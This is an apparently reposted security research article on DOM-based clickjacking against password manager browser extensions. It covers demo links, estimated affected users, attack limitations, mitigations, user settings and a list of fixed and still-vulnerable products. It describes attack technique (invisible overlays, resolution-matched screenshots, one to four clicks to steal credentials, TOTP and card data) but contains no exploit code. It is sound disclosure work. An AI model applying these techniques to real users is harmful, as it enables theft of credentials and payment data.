Demo sites: https://websecurity.dev/password-managers/dom-based-extension-clickjacking/

To test stored credentials, you need to save them for the domain. You can do this here: https://websecurity.dev/password-managers/dom-based-extension-clickjacking/loginform/

You don't need to click on the exact location to fill in the data - clicking anywhere on the page is sufficient.

This is a basic proof-of-concept. A real attacker would overlay the same page for display purposes and would have pre-prepared website screenshots for different screen resolutions.

No data is sent anywhere, all data is only displayed on the page. But it's definitely better not to enter real credentials there.

Demo sites: Full Overlay (Personal Data)
- Personal data will be in console
opacity:0.5: https://websecurity.dev/overlay/index2.html
opacity:0: https://websecurity.dev/overlay/

Demo sites: Full Overlay (Login Form)
- login credentials will be in console
opacity:0.5: https://websecurity.dev/overlay/login-opacity.html
opacity:0: https://websecurity.dev/overlay/login.html

Users at Risk

How many users could have been affected by this vulnerability? Giving a specific number can be problematic. Not every user necessarily uses browser extensions, but only mobile applications.

Therefore, I decided to count data from Chrome Web Store, Edge Add-ons, and Firefox Add-ons, which should provide information about active installations.

The vulnerabilities affected not only Chromium-based browsers but also extensions for other browsers. Due to the wider adoption of Chromium-based browsers, I demonstrated all the videos using them.

The values are always calculated at the time of reporting, or if the vulnerability is not fixed, the data are from the past few weeks.

The result is that tens of millions of users could be at risk (~40 million active installations).

Limitation

The most significant limitation is the auto-lock/auto-logout functionality based on inactivity time.

By default, it is enabled with a very short time in 1Password (10 min) or Enpass (1 min). Some others also have this restriction, but with an inactivity time longer than 1 day, so the limitation is not as critical for them.

For example, iCloud Passwords uses the auto-lock functionality, but it has absolutely no effect on autofill. The clickjacking technique works even if iCloud Passwords is locked or if Lockdown Mode is enabled.

Another limitation is the auto-lock/auto-logout functionality based on browser restart. In general, it is necessary to have the password manager unlocked for successful attack.

Another limitation, or rather obstacle that the attacker must account for, is the different screen resolutions on the user side. If the attacker uses a background-image with a screenshot of a web page, it must display correctly. Therefore, they must first determine the resolution using javascript and then use the appropriate image resolution.

Of course, a successful attack requires at least one user click. But with the use of various "click" elements, I don't think this is a significant limitation. How many times a day do you click on a cookie or login dialog?

To steal credentials, the user also needs to have stored data for the domain. However, if we are talking about an attack on well-known services, users will most likely have those credentials saved.

Mitigation

Browser extension developers should focus on the following parts. The missing fix of one method leads to the extension remaining vulnerable.

Extension Element
• styles cannot be changed (MutationObserver)
• using "Closed Shadow-Root"

Parent Element
• BODY/HTML opacity detection
• using Popover API for extension should protect this method

Extension Overlay
• last DOM element detection (z-index conflict)
• popover elements listing - when the autofill menu is opened, check if any other "top layer" elements exist
→ if another element exists the autofill menu should close
→ or just don't show extension UI if exist "popover" element
• elementsFromPoint() can be used for partial overlay but cannot be used for popover elements (pointer-events:none are ignored)
→ The content script can temporarily remove pointer-events:none from all popover elements before filling in data, then check the "top layer" state using elementsFromPoint() and fill the data accordingly.

Doesn't exist simple protection.⚠️
Some platform-level support should be created - new browser API protection for this clickjacking technique.⚠️

The proposed solutions are still handled through javascript and conflicts may occur between exploit code and extension content script (extension white-box analysis can be made). The safest solution is to display a new popup window - but that will be very inconvenient for users. Alternatively, a context menu or a system dialog for autofill may then be displayed.

Recommendations for Users

Check that you have automatic updates enabled and that you are using the latest versions. Especially in companies, versions may be dependent on administrators, who should definitely keep everything updated.

Regarding the recommendations, it's a somewhat complicated situation. Not every solution will suit every user.

Disable manual autofill - copy/paste only
- Many password managers allow disabling this function. But it can be inconvenient for someone. Especially when filling in personal information.

Set only exact URL match for autofill credentials
- This can easily mitigate the impacts for subdomains but an attacker can still find a vulnerability on exactly the same domain. Still can be exploitable credit card/personal data.

Such a "hybrid" solution can be in manually control autofill functionality. Below are instructions for Chromium-based browsers only, I was unable to find this setting for Mozilla Firefox.

Chromium-based browsers:
Extension settings → site access → "on click"

With this setting, the browser extension will not access the site. The user can temporarily grant access by clicking the extension icon next to the address bar.

Added 26.8.2025:
Disabling manual autofill (UI injected into the DOM = autofill suggestion) – Using only "autofill" via the extension icon (see bellow)
- Not all password managers have this option. Examples of supported ones include Bitwarden or 1Password. When using this option, it is always necessary to disable autofill suggestion injected into the DOM.

Some users use keyboard shortcuts to autofill data — you are still at risk if you have the default settings
- All password managers in the research insert an autofill UI into webpages by default. A single click can still expose your stored credentials. For this reason, you should disable the autofill UI (autofill suggestion) in your password manager.

Conclusion

Clickjacking is not dead - browser extensions are vulnerable to clickjacking
→ iframe-based and especially to the DOM-based

No vulnerability is needed to leak your credit card, personal data
⚠️ 1 click = credit cards details or personal data (attacker’s website)
⚠️ 2 clicks = credit cards details + personal data (attacker’s website)

Malicious script can be on any trusted website (XSS, subdomain takeover, web cache poisoning...).
XSS is not RCE, attackers can find (easily) this vulnerability.
⚠️ 1-2 clicks = attacker gets your credentials incl. TOTP (only for vulnerable domain)
⚠️ 3 clicks = attacker gets your credentials incl. TOTP (only for vulnerable domain) + credit cards details
⚠️ 4 clicks = attacker gets your credentials incl. TOTP (only for vulnerable domain) + credit cards details + personal data

Fixed: NordPass, ProtonPass, RoboForm, Dashlane, Keeper
Still vulnerable: Bitwarden, 1Password, iCloud Passwords, Enpass, LastPass, LogMeOnce

Research on only 11 password managers
others DOM-manipulating extensions will be vulnerable (password managers, crypto wallets, notes etc. )

2FA should be strictly separated from login credentials - when storing everything in one place, so the attacker could exploit vulnerable password managers and gain access to the account even with 2FA enabled.


文章来源: https://marektoth.com/blog/dom-based-extension-clickjacking/
如有侵权请联系:admin#unsafe.sh